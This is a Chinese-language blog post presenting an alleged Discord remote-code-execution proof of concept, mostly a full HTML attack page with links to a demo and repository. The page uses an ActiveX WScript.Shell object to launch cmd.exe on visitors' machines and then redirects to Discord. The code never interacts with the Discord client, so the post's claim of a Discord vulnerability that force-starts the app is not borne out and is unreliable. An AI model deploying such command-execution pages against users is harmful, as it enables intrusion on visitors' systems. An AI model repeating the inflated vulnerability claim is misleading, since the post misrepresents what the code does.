Discord远程代码执行漏洞分析与PoC实现

本文详细披露了Discord客户端存在的远程代码执行漏洞,包含完整的PoC代码实现。漏洞利用HTML页面通过ActiveX对象调用系统命令,可在Windows系统上实现自动执行,即使应用未运行也会强制启动。文章提供了GitHub代码库和演示视频链接。

Discord远程代码执行概念验证

漏洞概述

该漏洞针对Discord客户端存在远程代码执行风险,仅影响Windows系统平台。攻击者可构造特殊HTML页面实现代码自动执行,即使目标应用程序未运行也会被强制启动。

技术细节

PoC代码实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Redirecting...</title>
    <script>
        onload = function() {
            alert("确认要继续操作吗?点击确定将触发Discord");
        };

        function getQueryParam(param) {
            const urlParams = new URLSearchParams(window.location.search);
            return urlParams.get(param);
        }

        function isValidPayload(payload) {
            // 有效载荷验证逻辑,例如正则匹配
            const regex = /^[a-zA-Z0-9_-]+$/; // 示例:字母数字、下划线、连字符
            return regex.test(payload);
        }

        function openCmd() {
            try {
                var shell = new ActiveXObject("WScript.Shell");
                shell.run("cmd.exe");
            } catch (e) {
                alert("此浏览器不支持该操作或出于安全原因被阻止");
            }
        }

        window.onload = function() {
            const payload = getQueryParam('payload');
            let targetUrl = 'https://discord.com/handoff';
            
            if (payload && isValidPayload(payload)) {
                targetUrl += `?payload=${encodeURIComponent(payload)}`;
                if (payload === 'openCmd' && window.ActiveXObject) {
                    openCmd();
                }
            }

            setTimeout(function() {
                window.location.href = targetUrl;
            }, 3000);
        }
    </script>
</head>
<body>
    <p>如果未自动跳转,<a id="redirectLink" href="https://discord.com/handoff">请点击此处</a></p>
    <script>
        const payload = getQueryParam('payload');
        let targetUrl = 'https://discord.com/handoff';
        
        if (payload && isValidPayload(payload)) {
            targetUrl += `?payload=${encodeURIComponent(payload)}`;
            if (payload === 'openCmd' && window.ActiveXObject) {
                openCmd();
            }
        }

        document.getElementById('redirectLink').href = targetUrl;
    </script>
</body>
</html>

利用条件

  • 仅支持Windows操作系统
  • 依赖ActiveX组件执行系统命令
  • 需要用户访问恶意构造的HTML页面

资源链接

  • 概念验证视频:https://www.youtube.com/watch?v=dEGhIpIvBA0
  • 在线演示页面:https://SleepTheGod.github.io/discord_rce.html
  • GitHub代码库:https://github.com/SleepTheGod/Discord-RCE

安全建议

建议用户避免访问不可信的链接,及时更新Discord客户端至最新版本,并启用系统安全防护措施。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计